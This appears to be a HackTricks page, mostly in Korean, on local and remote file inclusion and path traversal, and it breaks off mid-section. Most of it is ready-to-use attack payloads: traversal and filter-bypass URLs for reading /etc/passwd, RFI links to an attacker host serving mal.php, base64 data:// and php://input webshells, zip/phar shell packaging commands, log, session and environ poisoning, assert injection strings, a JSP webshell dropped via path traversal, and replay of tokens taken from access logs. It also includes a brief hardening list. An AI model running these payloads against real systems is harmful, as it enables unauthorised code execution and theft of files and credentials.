File Inclusion/Path traversal

Reading time: 27 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

File Inclusion

Remote File Inclusion (RFI): 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 실행됩니다). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): 서버가 로컬 파일을 로드합니다.

취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.

취약한 PHP 함수: require, require_once, include, include_once

흥미로운 이 취약점 악용 도구: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

여러 *nix LFI 리스트를 혼합하고 경로를 더 추가하여 이것을 만들었습니다:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

또한 /\로 바꿔보세요\
또한 ../../../../../를 추가해 보세요

/etc/password 파일을 찾기 위해 여러 기법을 사용하는 리스트(취약점 존재 여부를 확인하기 위해)는 here에서 확인할 수 있습니다

Windows

서로 다른 wordlists의 병합:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

또한 /\로 바꿔보세요\
또한 C:/를 제거하고 ../../../../../를 추가해 보세요

/boot.ini 파일을 찾기 위해 여러 기법을 사용하는 리스트(취약점 존재 여부를 확인하기 위해)는 here에서 확인할 수 있습니다

OS X

linux의 LFI 리스트를 확인하세요.

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences가 비재귀적으로 제거됨

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

제공된 문자열 끝에 추가 문자가 덧붙여지는 것을 bypass (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

이것은 PHP 5.4 이후로 해결됨

인코딩

다음과 같은 비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

기존 폴더에서

백엔드가 폴더 경로를 검사하고 있을 수 있다:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

서버의 파일 시스템 디렉토리 탐색

서버의 파일 시스템은 특정 기법을 이용해 재귀적으로 탐색하여 파일뿐 아니라 디렉토리도 식별할 수 있습니다. 이 과정은 현재 디렉토리의 깊이를 파악하고 특정 폴더의 존재 여부를 확인하는 작업을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:

  1. 디렉토리 깊이 결정: 현재 디렉토리의 깊이를 확인하려면 /etc/passwd 파일을 성공적으로 가져와야 합니다 (서버가 Linux 기반인 경우에 해당). 예시 URL은 다음과 같이 구성되어 깊이가 3임을 나타낼 수 있습니다:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 폴더 탐색: 의심되는 폴더 이름(예: private)을 URL에 추가한 다음 /etc/passwd로 다시 이동합니다. 추가된 디렉터리 레벨 때문에 depth를 한 단계 늘려야 합니다:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 결과 해석: 서버의 응답은 폴더의 존재 여부를 나타냅니다:
  • Error / No Output: 지정된 위치에 private 폴더가 존재하지 않을 가능성이 높습니다.
  • Contents of /etc/passwd: /etc/passwd의 내용이 출력되면 private 폴더의 존재가 확인됩니다.
  1. 재귀 탐색: 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 탐색할 수 있습니다.

파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 적절히 조정하세요. 예를 들어, 현재 디렉토리 깊이가 3이라고 가정할 때 /var/www/private 디렉토리가 있는지 확인하려면 다음을 사용하세요:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation은 웹 애플리케이션에서 파일 경로를 조작하는 방법입니다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용됩니다. 목표는 보안 조치로 인해 경로가 변경된 뒤에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.

PHP에서는 파일 시스템의 특성상 파일 경로의 여러 표현이 동일하게 취급될 수 있습니다. 예를 들어:

  • /etc/passwd, /etc//passwd, /etc/./passwd, 그리고 /etc/passwd/는 모두 동일한 경로로 취급됩니다.
  • 마지막 6자가 passwd인 경우, 뒤에 /를 붙여 passwd/로 만들어도 대상 파일은 변경되지 않습니다.
  • 마찬가지로, 파일 경로에 .php가 붙은 경우(예: shellcode.php), 끝에 /.를 추가해도 접근되는 파일은 변경되지 않습니다.

제공된 예제는 민감한 내용(사용자 계정 정보) 때문에 자주 표적이 되는 /etc/passwd에 접근하기 위해 path truncation을 활용하는 방법을 보여줍니다:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

이러한 시나리오에서 필요한 ../ 반복 횟수는 대략 2027회일 수 있지만, 서버 구성에 따라 달라질 수 있습니다.

  • Using Dot Segments and Additional Characters: 탐색 시퀀스 (../)와 추가적인 dot 세그먼트 및 문자들을 조합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙이는 문자열을 사실상 무시하게 만들 수 있습니다.
  • Determining the Required Number of Traversals: 시행착오를 통해 루트 디렉토리로, 그다음 /etc/passwd로 이동하기 위해 필요한 정확한 ../ 반복 횟수를 찾을 수 있으며, 이 과정에서 (예: .php)와 같은 덧붙여진 문자열을 무력화하고 원하는 경로 (/etc/passwd)를 유지할 수 있습니다.
  • Starting with a Fake Directory: 경로를 존재하지 않는 디렉토리(예: a/)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족하기 위해 사용됩니다.

path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.

이 취약점은 PHP 5.3에서 수정되었습니다.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **allow_url_include**가 **Off.**이기 때문입니다. 작동하려면 On이어야 하며, 그 경우 서버에서 PHP 파일을 포함시켜 RCE를 얻을 수 있습니다:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

어떤 이유로 **allow_url_include**가 On인데 PHP가 외부 웹페이지에 대한 접근을 filtering하고 있다면, 이 글에 따르면, 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코드하고 egt RCE를 얻을 수 있습니다:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

이전 코드에서는 마지막 +.txt가 공격자가 .txt로 끝나는 문자열을 필요로 했기 때문에 추가되었습니다. 따라서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단지 junk를 반환하며 실제 PHP 코드가 포함(따라서, 실행)됩니다.

Another example php:// 프로토콜을 사용하지 않는 경우는 다음과 같습니다:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 루트 요소

다음과 같은 python 코드에서:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

사용자가 절대 경로를 **file_name**에 전달하면, 이전 경로는 단순히 제거됩니다:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

It is the intended behaviour according to the docs:

구성 요소가 절대 경로인 경우, 이전의 모든 구성 요소는 버려지고 결합은 절대 경로 구성 요소부터 계속됩니다.

Java 디렉토리 목록

보아하니 Java에서 Path Traversal이 있고 파일 대신 디렉토리를 요청하면, 디렉토리 목록이 반환되는 것 같습니다. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다(내가 아는 한).

상위 25개 파라미터

다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (출처: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 데이터에 대한 수정 작업을 수행할 수 있게 해줍니다. 필터에는 5가지 카테고리가 있습니다:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 데이터에서 태그를 제거합니다( "<"와 ">" 문자 사이의 모든 것 )
  • 참고로 이 필터는 최신 PHP 버전에서는 사라졌습니다
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>). 지원되는 모든 인코딩의 목록을 얻으려면 콘솔에서 iconv -l을 실행하세요

warning

convert.iconv.* 변환 필터를 남용하면 임의의 텍스트를 생성할 수 있으며, 이는 임의의 텍스트를 쓰거나 include 같은 함수가 임의의 텍스트를 처리하도록 만드는 데 유용할 수 있습니다. 자세한 정보는 LFI2RCE via php filters를 확인하세요.

  • Compression Filters
  • zlib.deflate: 내용을 압축합니다(많은 정보를 exfiltrating할 때 유용)
  • zlib.inflate: 데이터를 압축 해제합니다
  • Encryption Filters
  • mcrypt.* : 사용 중단됨
  • mdecrypt.* : 사용 중단됨
  • Other Filters
  • php에서 var_dump(stream_get_filters());를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다:
  • consumed
  • dechunk: HTTP chunked 인코딩을 역으로 처리
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

"php://filter" 부분은 대소문자를 구분하지 않습니다

Using php filters as oracle to read arbitrary files

In this post에서는 서버가 출력물을 반환하지 않아도 로컬 파일을 읽을 수 있는 기법을 제안합니다. 이 기법은 php filters를 oracle로 사용해 파일을 문자 단위로 불리언 방식으로 exfiltration하는 것에 기반합니다. 이는 php filters가 텍스트를 충분히 크게 만들어 php가 예외를 던지게 할 수 있기 때문입니다.

원문 포스트에서 기법에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약을 제공합니다:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • 초깃글을 올바르게 추측하면 php가 error를 발생시킬 만큼 매우 큰 텍스트를 생성하는 데 사용됩니다.
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • 이것은 이전 필터와(그리고 추측한 문자에 따라 다른 필터들과) 결합되어, 충분한 변환을 가하여 해당 문자가 16진수 범위를 벗어났을 때를 통해 텍스트의 처음 문자를 추측할 수 있게 합니다. 만약 16진수이면 dechunk가 삭제하지 않고 초기 폭탄(initial bomb)이 php error를 발생시킬 것입니다.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
  • 처음에 rot13 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자를 leak하는 것이 가능합니다 (그리고 다른 코덱을 사용해 다른 문자들을 16진수 범위로 이동시킬 수 있습니다).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • 마지막 문제는 how to leak more than the initial letter입니다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 같은 order memory 필터를 사용하면 문자 순서를 변경하여 텍스트의 다른 문자를 첫 위치로 가져올 수 있습니다.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

포스트에는 이 작업을 자동으로 수행하는 도구도 공개되어 있습니다: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

또한 php://stdin, php://stdout and php://stderr를 사용하여 각각 file descriptors 0, 1 and 2에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)

zip:// 및 rar://

내부에 PHPShell이 들어있는 Zip 또는 Rar 파일을 업로드한 뒤 접근하세요.
rar protocol을 악용하려면 해당 프로토콜을 특별히 활성화되어야 합니다.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

이 프로토콜은 php 설정 allow_url_openallow_url_include 에 의해 제한됩니다

expect://

Expect가 활성화되어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST 파라미터에 payload를 지정하세요:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.phar 파일은 웹 애플리케이션이 파일 로딩을 위해 include와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 이용될 수 있습니다. 아래의 PHP 코드 스니펫은 .phar 파일 생성 방법을 보여줍니다:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar 파일을 컴파일하려면 다음 명령을 실행해야 합니다:

bash
php --define phar.readonly=0 create_path.php

실행하면 test.phar라는 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 이용하는 데 잠재적으로 사용될 수 있습니다.

LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우(예: file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), filesize() 같은 함수로), phar 프로토콜을 사용한 파일 읽기와 연관된 deserialization 취약점을 이용해 공격을 시도할 수 있습니다.

.phar 파일 맥락에서 deserialization 취약점 악용에 대한 자세한 내용은 아래 문서를 참조하세요:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

php filters를 지원하는 PHP에서 읽는 임의의 파일(any arbitrary file read from PHP that supports php filters) 를 악용해 RCE를 얻을 수 있었습니다. 자세한 설명은 found in this post**.**에서 확인할 수 있습니다.
아주 간단한 요약: PHP 힙에서 발생한 3 byte overflow를 악용해 특정 크기의 free chunk 체인을 alter the chain of free chunks 하여 임의의 주소에 write anything in any address 할 수 있었고, 그 결과 system을 호출하는 훅이 추가되었습니다.
추가 php filters를 악용해 특정 크기의 청크를 alloc할 수 있었습니다.

More protocols

더 많은 가능한 protocols to include here:

  • php://memory and php://temp — 메모리나 임시 파일에 쓸 수 있음 (file inclusion attack에서 어떻게 유용할지 확실하지 않음)
  • file:// — 로컬 파일 시스템 접근
  • http:// — HTTP(s) URL 접근
  • ftp:// — FTP(s) URL 접근
  • zlib:// — 압축 스트림
  • glob:// — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 별로 유용하지 않음)
  • ssh2:// — Secure Shell 2
  • ogg:// — 오디오 스트림 (임의 파일을 읽는 데 유용하지 않음)

LFI via PHP's 'assert'

PHP에서 'assert' 함수를 다룰 때 Local File Inclusion (LFI) 위험이 특히 큽니다. 'assert'는 문자열 내의 코드를 실행할 수 있기 때문입니다. 입력에 ".." 같은 디렉터리 트래버설 문자가 포함되어 검사만 하고 적절히 정제하지 않을 경우 특히 문제가 됩니다.

예를 들어, PHP 코드는 다음과 같이 디렉터리 트래버설을 방지하도록 설계될 수 있습니다:

bash
assert("strpos('$file', '..') === false") or die("");

이는 traversal를 차단하려는 목적이지만, 의도치 않게 code injection의 벡터를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:

plaintext
' and die(highlight_file('/etc/passwd')) or '

마찬가지로, 임의의 시스템 명령을 실행하려면 다음과 같이 사용할 수 있습니다:

plaintext
' and die(system("id")) or '

It's important to URL-encode these payloads.

PHP Blind Path Traversal

warning

This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to file()) but the content is not shown.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

요약하면, 이 기법은 "UCS-4LE" encoding을 사용하여 파일의 내용을 매우 크게 만들어서 PHP function opening 파일이 error를 발생시키게 하는 방식입니다.

그다음 첫 번째 문자를 leak하기 위해 필터 **dechunk**가 base64rot13 같은 다른 필터들과 함께 사용되고, 마지막으로 convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE 필터들이 사용되어 다른 문자들을 시작 부분에 배치하고 그것들을 leak합니다.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

서버 측 코드가 파일을 수신/업로드할 때 destination path를 user-controlled data(e.g., a filename or URL)로 구성하면서 canonicalising 및 검증을 하지 않으면, .. 세그먼트와 absolute paths가 의도한 디렉토리를 벗어나 임의의 파일 쓰기를 발생시킬 수 있습니다. payload를 web-exposed directory 아래에 배치할 수 있다면, 보통 webshell을 drop하여 인증되지 않은 RCE를 얻습니다.

Typical exploitation workflow:

  • path/filename을 받아 디스크에 내용을 쓰는 endpoint나 background worker에서 write primitive를 식별합니다(예: message-driven ingestion, XML/JSON command handlers, ZIP extractors 등).
  • web-exposed directories를 확인합니다. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 의도한 저장 디렉토리에서 webroot로 빠져나가도록 traversal path를 구성하고, webshell 내용을 포함시킵니다.
  • 배치한 payload로 브라우저에서 접속하여 명령을 실행합니다.

Notes:

  • 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트(예: TCP 4004의 JMF XML listener)에서 동작할 수 있습니다. 메인 웹 포털(다른 포트)이 나중에 당신의 payload를 제공할 것입니다.
  • Java 스택에서는 이러한 파일 쓰기가 종종 간단한 File/Paths 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 취약점입니다.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

이 클래스의 버그를 막는 하드닝:

  • 경로를 canonical로 해석하고 허용된 베이스 디렉터리의 하위 경로인지 강제한다.
  • .., 절대 루트(absolute roots), 또는 드라이브 문자(drive letters)가 포함된 경로는 거부하고, 생성된 파일명을 우선 사용한다.
  • 파일을 쓰는 프로세스를 낮은 권한 계정으로 실행하고, 쓰기용 디렉터리를 서비스 루트와 분리한다.

Remote File Inclusion

이전에 설명됨, follow this link.

Via Apache/Nginx log file

Apache 또는 Nginx 서버가 include 함수 내부에서 vulnerable to LFI라면, **/var/log/apache2/access.log or /var/log/nginx/access.log**에 접근을 시도해 user agentGET parameter 안에 <?php system($_GET['c']); ?> 같은 php shell을 넣고 그 파일을 include할 수 있다

warning

셸에 **큰따옴표(double quotes)**를 사용하면 작은따옴표(simple quotes) 대신 큰따옴표가 문자열 "quote;"로 변경되어 PHP가 에러를 발생시키며, 다른 어떤 것도 실행되지 않는다.

또한 페이로드를 정확히 작성해야 한다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 에러를 발생시키며 다시 시도할 기회가 없다.

다른 로그에서도 시도할 수 있지만 주의하라 — 로그 안의 코드가 URL 인코딩되어 셸이 손상될 수 있다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하고 로그 내에서 디코딩된다. PHPShell은 이 헤더 안에 삽입될 수 있다.
다른 가능한 로그 경로:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

access logs에서 GET 기반 auth tokens 수집 (token replay)

많은 앱이 실수로 session/auth 토큰을 GET으로 받아들입니다(예: AuthenticationToken, token, sid). 만약 path traversal/LFI primitive로 웹 서버 로그에 접근할 수 있다면, access logs에서 해당 토큰을 훔쳐 재생(replay)하여 인증을 완전히 우회할 수 있습니다.

How-to:

  • path traversal/LFI를 사용해 web server access log를 읽습니다. 일반적인 위치:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • 일부 엔드포인트는 파일 읽기 결과를 Base64-encoded로 반환합니다. 그런 경우 로컬에서 디코드하고 로그 라인들을 검사하세요.
  • token 파라미터를 포함한 GET 요청을 grep으로 검색해 값을 추출하고, 이를 애플리케이션 진입점에 재전송(replay)하세요.

Example flow (generic):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

본문이 Base64이면 디코드한 뒤 캡처한 token을 replay하세요:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

참고:

  • Tokens in URLs are logged by default; never accept bearer tokens via GET in 운영 환경.
  • 앱이 여러 token names를 지원하는 경우 AuthenticationToken, token, sid, access_token 같은 일반 키를 검색하세요.
  • 로그에 leaked되었을 가능성이 있는 토큰은 모두 교체하세요.

Via Email

메일 전송: 내부 계정 (user@localhost)으로 <?php echo system($_REQUEST["cmd"]); ?> 같은 PHP payload를 포함한 메일을 보내고, 사용자 메일을 /var/mail/<USERNAME> 또는 /var/spool/mail/<USERNAME> 경로로 include해 보세요.

/proc/*/fd/*를 통해

  1. 많은 shells를 업로드하세요(예: 100개)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, 여기서 $PID = 프로세스의 PID (can be brute forced)이고 $FD는 파일 디스크립터 (can be brute forced too)입니다

/proc/self/environ를 통해

로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일에 반영됩니다

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

업로드를 통해

파일을 업로드할 수 있다면, 그 파일에 shell payload를 삽입하세요 (예: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

파일을 읽기 쉽게 유지하려면 사진/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다

ZIP 파일 업로드

PHP shell이 포함된 ZIP 파일을 업로드한 후 접근:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions를 통해

웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP에서는 세션이 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

쿠키를 <?php system('cat /etc/passwd');?>로 설정하세요.

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI를 사용하여 PHP session file을 포함하세요.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh를 통해

ssh가 활성화되어 있다면 어떤 사용자로 실행되는지 확인하세요 (/proc/self/status & /etc/passwd) 그리고 <HOME>/.ssh/id_rsa에 접근해 보세요.

vsftpd 로그를 통해

FTP 서버 vsftpd의 로그는 _/var/log/vsftpd.log_에 있습니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 단계를 고려할 수 있습니다:

  1. 로그인 과정에서 username 필드에 PHP payload를 주입하세요.
  2. 주입 후 LFI를 이용해 _/var/log/vsftpd.log_에서 서버 로그를 불러오세요.

php base64 filter를 통한 방법 (base64 사용)

위의 this 글에서 보듯, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사 우회를 할 수 있습니다: 만약 ".php"로 끝나는 base64를 제공하면, filter는 "."를 무시하고 base64에 "php"를 덧붙입니다. 예시 payload는 다음과 같습니다:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters를 통한 방법 (파일 불필요)

writeup php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다고 설명합니다. 기본적으로 이는 include를 위해 파일에 쓰지 않고도 임의의 php 코드를 생성할 수 있다는 뜻입니다.

LFI2RCE via PHP Filters

segmentation fault를 통한 방법

파일을 업로드하면 /tmp에 임시로 저장됩니다. 같은 요청 내에서 segmentation fault를 유발하면 임시 파일이 삭제되지 않고 남아 있으므로 해당 파일을 검색할 수 있습니다.

LFI2RCE via Segmentation Fault

Nginx 임시 파일 저장소를 통한 방법

